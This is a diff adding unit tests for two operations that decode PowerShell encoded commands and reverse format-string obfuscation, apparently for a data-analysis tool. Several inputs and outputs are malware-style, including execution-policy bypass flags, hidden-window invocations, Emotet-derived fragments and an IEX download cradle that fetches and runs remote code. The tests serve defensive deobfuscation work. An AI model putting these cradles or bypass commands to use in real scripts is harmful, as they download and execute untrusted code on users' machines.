+++ b/tests/operations/tests/PowerShellDecodeEncodedCommand.mjs
@@ -0,0 +1,101 @@
+/**
+ * PowerShell Decode EncodedCommand tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+ {
+ "name": "PowerShell Decode EncodedCommand: raw Base64 only",
+ "input": "SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: -enc prefix",
+ "input": "-enc SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: -EncodedCommand prefix",
+ "input": "-EncodedCommand SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: full powershell invocation with flags",
+ "input": "powershell.exe -w 1 -nop -ep bypass -enc SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: pwsh with hidden window",
+ "input": "pwsh -WindowStyle hidden -NonInteractive -enc SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: Get-Process command",
+ "input": "RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
+ "expectedOutput": "Get-Process",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: Invoke-Expression command",
+ "input": "-enc SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuAA==",
+ "expectedOutput": "Invoke-Expression",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: multi-word command",
+ "input": "powershell -enc TgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQA",
+ "expectedOutput": "New-Object Net.WebClient",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: -e abbreviation",
+ "input": "-e SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: mixed-case flag",
+ "input": "-Enc SQBFAFgA",
+ "expectedOutput": "IEX",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: whoami recon command",
+ "input": "dwBoAG8AYQBtAGkA",
+ "expectedOutput": "whoami",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: Set-ExecutionPolicy Bypass preamble",
+ "input": "UwBlAHQALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACAALQBTAGMAbwBwAGUAIABQAHIAbwBjAGUAcwBzACAALQBGAG8AcgBjAGUA",
+ "expectedOutput": "Set-ExecutionPolicy Bypass -Scope Process -Force",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: full cmdline with -nop -w hidden flags",
+ "input": "powershell.exe -nop -w hidden -noni -enc RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==",
+ "expectedOutput": "Get-Process",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: -ec abbreviated flag",
+ "input": "-ec JABlAG4AdgA6AEMATwBNAFAAVQBUAEUAUgBOAEEATQBFAA==",
+ "expectedOutput": "$env:COMPUTERNAME",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ },
+ {
+ "name": "PowerShell Decode EncodedCommand: token with surrounding double-quotes stripped",
+ "input": "-enc \"RwBlAHQALQBQAHIAbwBjAGUAcwBzAA==\"",
+ "expectedOutput": "Get-Process",
+ "recipeConfig": [{ "op": "PowerShell Decode EncodedCommand", "args": [] }]
+ }
+]);
diff --git a/tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs b/tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs
new file mode 100644
index 00000000..5252af30
--- /dev/null
+++ b/tests/operations/tests/PowerShellFormatStringDeobfuscate.mjs
@@ -0,0 +1,222 @@
+/**
+ * PowerShell Format String Deobfuscate tests
+ *
+ * @author vigneshrajan94
+ * @copyright Crown Copyright 2026
+ * @license Apache-2.0
+ */
+import TestRegister from "../../lib/TestRegister.mjs";
+
+TestRegister.addTests([
+ {
+ "name": "PowerShell Format String Deobfuscate: canonical reordered example",
+ "input": "(\"{0}{3}{4}{1}{2}\" -f \"S\",\"Mo\",\"de\",\"et-Stri\",\"ct\")",
+ "expectedOutput": "Set-StrictMode",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: identity ordering (no scrambling)",
+ "input": "(\"{0}{1}{2}\" -f \"New\",\"-\",\"Object\")",
+ "expectedOutput": "New-Object",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: single argument",
+ "input": "(\"{0}\" -f \"hello\")",
+ "expectedOutput": "hello",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: two expressions on the same line",
+ "input": "(\"{0}{1}\" -f \"Invoke\",\"-Expression\") + (\"{1}{0}\" -f \"Shell\",\"Power\")",
+ "expectedOutput": "Invoke-Expression + PowerShell",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: embedded in a larger script",
+ "input": "$x = (\"{1}{0}\" -f \"Object\",\"New-\"); $x.GetType()",
+ "expectedOutput": "$x = New-Object; $x.GetType()",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: single-quoted template",
+ "input": "('{0}{1}' -f \"foo\",\"bar\")",
+ "expectedOutput": "foobar",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: single-quoted arguments",
+ "input": "(\"{0}{1}\" -f 'foo','bar')",
+ "expectedOutput": "foobar",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: all single quotes",
+ "input": "('{1}{0}' -f 'World','Hello')",
+ "expectedOutput": "HelloWorld",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: extra whitespace around -f and args",
+ "input": "( \"{0}{1}\" -f \"abc\" , \"def\" )",
+ "expectedOutput": "abcdef",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: spaces inside argument values",
+ "input": "(\"{0} {1}\" -f \"Hello\",\"World\")",
+ "expectedOutput": "Hello World",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: comma inside a quoted argument value",
+ "input": "(\"{0}{1}\" -f \"hello, world\",\"!\")",
+ "expectedOutput": "hello, world!",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: literal text between placeholders",
+ "input": "(\"{0} ran {1}\" -f \"PowerShell\",\"successfully\")",
+ "expectedOutput": "PowerShell ran successfully",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: repeated index",
+ "input": "(\"{0}{0}{0}\" -f \"abc\")",
+ "expectedOutput": "abcabcabc",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: out-of-range index left unchanged",
+ "input": "(\"{0}{5}\" -f \"a\",\"b\",\"c\")",
+ "expectedOutput": "a{5}",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: no format strings — input passes through unchanged",
+ "input": "$x = \"hello\"\nWrite-Host $x",
+ "expectedOutput": "$x = \"hello\"\nWrite-Host $x",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: empty input",
+ "input": "",
+ "expectedOutput": "",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: multiline input with expressions on different lines",
+ "input": "(\"{1}{0}\" -f \"Object\",\"New-\")\n(\"{0}{1}\" -f \"Invoke\",\"-Expression\")\n$plain = \"untouched\"",
+ "expectedOutput": "New-Object\nInvoke-Expression\n$plain = \"untouched\"",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: special characters in arguments (dollar, dot, backslash)",
+ "input": "(\"{0}{1}{2}\" -f \"C:\\\\Windows\",\"\\\\\",\"System32\")",
+ "expectedOutput": "C:\\\\Windows\\\\System32",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: five-arg scramble (malware-like)",
+ "input": "(\"{3}{1}{4}{0}{2}\" -f \"ial\",\"Cred\",\"s\",\"Get-\",\"ent\")",
+ "expectedOutput": "Get-Credentials",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: mixed with non-matching parenthetical expressions",
+ "input": "if ($x -gt 5) { (\"{1}{0}\" -f \"host\",\"Write-\") }",
+ "expectedOutput": "if ($x -gt 5) { Write-host }",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: large index values",
+ "input": "(\"{2}{0}{1}\" -f \"b\",\"c\",\"a\")",
+ "expectedOutput": "abc",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: single character fragments",
+ "input": "(\"{2}{0}{1}\" -f \"e\",\"t\",\"s\")",
+ "expectedOutput": "set",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: ten-fragment highly scrambled string",
+ "input": "(\"{5}{3}{0}{7}{1}{6}{2}{9}{4}{8}\" -f \"l\",\"o\",\"o\",\"e\",\"l\",\"h\",\"w\",\"l\",\"d\",\"r\")",
+ "expectedOutput": "helloworld",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: IEX obfuscation pattern",
+ "input": "$cmd = (\"{1}{0}{2}\" -f \"x\",\"IE\",\"\")\n& $cmd (\"{0}{1}\" -f \"Get-\",\"Process\")",
+ "expectedOutput": "$cmd = IEx\n& $cmd Get-Process",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+
+ // ── OSINT samples from real-world malware ─────────────────────────────────
+ // Source: Emotet dropper (Softscheck / gist softSCheck)
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - new-object (single-quoted args, no space before -f)",
+ "input": "(\"{0}{2}{1}\" -f'new-ob','t','jec')",
+ "expectedOutput": "new-object",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - WScript.Shell (zero spaces around -f)",
+ "input": "(\"{0}{1}{2}\"-f'WScrip','t.Shel','l')",
+ "expectedOutput": "WScript.Shell",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - DownloadFile (four scrambled fragments)",
+ "input": "(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')",
+ "expectedOutput": "DownloadFile",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - Start-Process (four fragments)",
+ "input": "(\"{0}{2}{1}{3}\" -f 'St','s','art-Proce','s')",
+ "expectedOutput": "Start-Process",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - write-host (four scrambled fragments)",
+ "input": "(\"{3}{2}{0}{1}\" -f'e-','host','rit','w')",
+ "expectedOutput": "write-host",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ {
+ "name": "PowerShell Format String Deobfuscate: Emotet - download cradle (two expressions on one line)",
+ "input": "$wc = (\"{2}{0}{1}\"-f 'ob','ject','new-'); $wc.(\"{0}{3}{1}{2}\"-f'Down','F','ile','load')($url, $path)",
+ "expectedOutput": "$wc = new-object; $wc.DownloadFile($url, $path)",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ // Source: Malicious Word doc (MalSecHunter, 2020)
+ {
+ "name": "PowerShell Format String Deobfuscate: MalSecHunter 2020 - New-Variable with mixed casing",
+ "input": "(\"{1}{3}{0}{2}\" -f 'VaRi','nE','aBlE','w-')",
+ "expectedOutput": "nEw-VaRiaBlE",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ // Source: r00t-3xp10it obfuscation guide (GitHub)
+ {
+ "name": "PowerShell Format String Deobfuscate: r00t-3xp10it - Invoke-Expression (five fragments)",
+ "input": "(\"{3}{0}{2}{1}{4}\" -f'voke','es','-Expr','In','sion')",
+ "expectedOutput": "Invoke-Expression",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ // Source: ANY.RUN sandbox report (Feb 2019 Excel macro dropper)
+ {
+ "name": "PowerShell Format String Deobfuscate: ANY.RUN 2019 - ENvIRoNmeNt ([Type] cast target)",
+ "input": "(\"{1}{0}{2}\" -f'vI','EN','RoNmeNt')",
+ "expectedOutput": "ENvIRoNmeNt",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ },
+ // Source: Generic IEX download cradle (common commodity malware pattern)
+ {
+ "name": "PowerShell Format String Deobfuscate: IEX download cradle (three reconstructed strings)",
+ "input": "(\"{1}{0}\" -f 'ex','i') ((\"{2}{0}{1}\" -f '-Ob','ject','New') Net.WebClient).(\"{0}{1}{2}{3}{4}\" -f 'Down','lo','ad','Str','ing')($url)",
+ "expectedOutput": "iex (New-Object Net.WebClient).DownloadString($url)",
+ "recipeConfig": [{ "op": "PowerShell Format String Deobfuscate", "args": [] }]
+ }
+]);